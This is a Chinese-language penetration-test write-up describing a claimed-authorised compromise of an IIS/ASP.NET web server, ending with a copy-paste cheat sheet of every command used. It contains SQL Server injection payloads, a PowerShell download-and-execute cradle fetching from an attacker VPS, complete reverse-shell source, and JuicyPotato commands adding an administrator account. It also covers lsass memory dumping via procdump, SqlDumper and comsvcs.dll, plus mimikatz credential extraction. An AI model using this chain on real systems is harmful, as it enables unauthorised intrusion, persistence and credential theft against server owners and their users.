项目实战 | 细节决定成败的渗透测试
0x00 前言
个人水平有限,文章若有不足之处,感谢各位大佬批评指正,希望能够与各位师傅分享学习。
目标地址:http://www.xxx.com
找到ip地址,进行访问,发现ip为:x.x.x.x
使用ip地址进行访问
0x01 信息收集
指纹识别结果:IIS10.0,asp.net ,Windows Server
爬取了一下网站,发现fackeditor,和很多接口
利用御剑目录扫描,扫出来一些fackeditor的连接和upload目录
0x02 测试阶段
尝试利用fackeditor的两处上传点进行上传,但是由于一直卡住传不上去和上传校验遂放弃了
对主站抓包测试发现,网站返回访问者IP地址,依据经验这里经常存在XFF注入
截取数据包修改X-Forwarded-For:1.1.1.1
发现当前ip并未变化说明此处不存在XSS
习惯性的试了个单引号,数据库报错了,可能存在sql注入,并且泄露了绝对路径。
构造sqlserver注入语句:
' and 1=db_name()-- 返回数据库
' and 1=@@version-- 返回数据库版本
0x03 漏洞利用
既然手工这样都可以注入出来,那尝试一下使用sqlmap。
X-Forwarded-For存在报错,堆叠以及延时注入
--dbs 获取所有数据库
尝试--os-shell,发现可以得到os-shell
尝试执行whomai,mssqlserver权限
当前权限不够,我们可以利用powershell来反弹shell,然后下载提权exp进行提权,然后添加用户来登陆目标服务器。
首先在vps利用python生成一个web
python3 -m http.server 8000
http://www.vps.com:8000/1.ps1
ps1文件可以访问
1.ps1的内容里填入需要利用powershell反弹的vps和端口
vps监听9999端口,在os-shell中执行以下命令
powershell IEX (New-Object Net.WebClient).DownloadString('http://www.vps.com:8000/1.ps1');Invoke-lltestTcp
shell弹回来了
查看版本,版本是2016,64位。
现在尝试提权,利用烂土豆直接提,windows下载文件的方式有很多,这里选择powershell的下载方式:
将烂土豆放在vps的web目录
在弹回来的powershell中习惯性进入c:\windows\tasks目录,dir发现无文件,然后输入
$ client=new-object System.Net.WebClient
再输入:
$client.DownloadFile('http://www.vps.com:8000/p1.exe','c:\windows\tasks\p1.exe')
成功下载提权exp到目录,利用exp提权到system权限
接下来新建用户,添加到管理员组
./p1.exe -p "net user admin password /add"
./p1.exe -p "net localgroup administrators admin /add"
./p1.exe -p "net user admin"发现用户添加到管理员组成功。
接下来找rdp端口,判断是否开放或者对外开放。
tasklist /svc |findstr "Ter"
查找TermService对应的pid
通过pid来查找rdp端口,端口为11520
netstat -ano | findstr "1628"
通过nmap扫描IP地址发现11520端口对外开放,都不用做流量代理了,很舒服。
现在我们通过新建在管理员组的用户登陆进去
桌面上东西有点少,在这台电脑里面翻东西有点废时间,于是传了个everything上去
因为不是administrator,弹出来了uac,强迫症的我还是想dump出这个管理员的密码。
因为现在已经进了3389了,就直接在目标服务器上传mimikatz,省的去webshell里面执行了。
传上去一运行就被杀了,土豆没杀却杀了mimiakatz,利用过了360和火绒的免杀mimikatz依然被杀。
对比tasklist /svc发现是微软自带的Microsoft Security Essentials
看来直接运行mimikatz是不行了,那就尝试导出lsass.dmp吧,导出lsass.dmp有很多种方法,免杀的有sqldumper和procdump,还可以利用powershell。
这里利用procdump导出了
procdump64.exe -accepteula -ma lsass.exe c:\lsass.dmp
但是很神奇,过了一会当我准备拷贝lsass.dmp到本地的时候发现,lsass.dmp居然没了,纳尼?
不过不碍事,只要我手速够快,就没有问题,纳尼?手速够快,拷贝速度不够啊,还没拷过来一丢丢呢,就直接出现了错误,果然lsass.dmp果然又没了。
那怎么办,dump到其他盘符试试,还是没了
那咱们利用sqldumper
通过everything搜索sqldumper,sqldumper的常见路径如下:
C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe
C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe
发现这个机器的sqldumper的路径和平时遇见的不太一致,先试试吧
利用lsass.exe发现PID
"C:\Program Files (x86)\Microsoft SQL Server\130\Shared\SqlDumper.exe" 1316 0 0x01100
dump失败
换一个路径,dump下来了SQLDmpr0001.mdmp
"C:\Program Files\Microsoft SQL Server\130\Shared\SqlDumper.exe" 1316 0 0x01100
复制到本地,管理员打开mimikatz,运行以下语句,报错了,有点小难受,具体原因还不清楚,知道的师傅还请指点。
sekurlsa::minidump SQLDmpr0001.mdmp"
sekurlsa::logonPasswords full
利用sqldumper失败了,那最后试试powershell吧,这个还是之前同事告诉我的,感谢同事
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 1316 C:\lsass.dmp full"
成功dump,
刷新了半天发现lsass.dmp还在,赶紧拷贝到本地利用mimikatz解密,ok感谢电脑,拷贝过来了
mimikatz解密一下
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Password那里是空的,在win10或者2012R2以上,默认在缓存中禁止保存明文密码,可以修改注册表并且管理员需要重新登陆才能成功抓取明文,不过可以解密一下NTLM
nice,果然是收费的,
找有钱的公司小姐姐花了一块钱成功解密,感谢公司小姐姐,如果每一个做安全的都像我一样抠门,这些网站估计要倒闭吧
我们利用administrator登陆一下
舒服了,桌面上多了很多东西,慢慢翻吧,
打开sqlserver management,windows身份认证直接登陆上去:
账号密码邮箱手机号找到了
利用里面的账号密码发现都能登录,登陆一下管理员用户看看
不过这个站没有内网,后来也就没有进行下去了。
后续在服务器继续翻点配置文件的操作,用来写报告的就不多赘述了。因为是授权的,痕迹也不用清了,接下来就是交报告了。
最后整理一下用到的命令吧,希望对喜欢ctrl+v的师傅们有些许帮助,祝各位师傅们身体健康,挖洞每天都是高危+严重。
sql注入测试:
' and 1=db_name()--
' and 1=@@version--
python开启web :
python3 -m http.server 8000
powershell反弹shell:
powershell IEX (New-Object Net.WebClient).DownloadString('http://www.vps.com:8000/1.ps1');Invoke-lltestTcp
1.ps1文件内容:
function Invoke-lltestTcp
{
$client = New-Object Net.Sockets.TCPClient('vps',port)
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}
powershell下载文件:
$client=new-object System.Net.WebClient
$client.DownloadFile('http://www.vps.com:8000/p1.exe', 'c:\windows\tasks\p1.exe')
查看操作系统版本:
wmic OS get Caption,CSDVersion,OSArchitecture,Version
烂土豆提权添加用户:
./JuicyPotato.exe -p "whoami"
./JuicyPotato.exe -p "net user admin password /add"
./JuicyPotato.exe -p "net localgroup administrators admin /add"
查找rdp端口和进程查看:
tasklist /svc |findstr "Ter"
netstat -ano | findstr "PID"
tasklist /svc
procdump64导出lsass.dmp:
procdump64.exe -accepteula -ma lsass.exe c:\lsass.dmp
SqlDumper.exe导出SQLDmpr0001.mdmp:
tasklist /svc |findstr lsass.exe //查看lsass.exe的pid
"C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe" pid 0 0x01100
mimikatz解密SQLDmpr0001.mdmp:
sekurlsa::minidump SQLDmpr0001.mdmp
sekurlsa::logonPasswords full
powershell导出lsass.dmp:
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 1316 C:\lsass.dmp full"
mimikatz解密lsass.dmp:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
END.
欢迎转发~
欢迎关注~
欢迎点赞~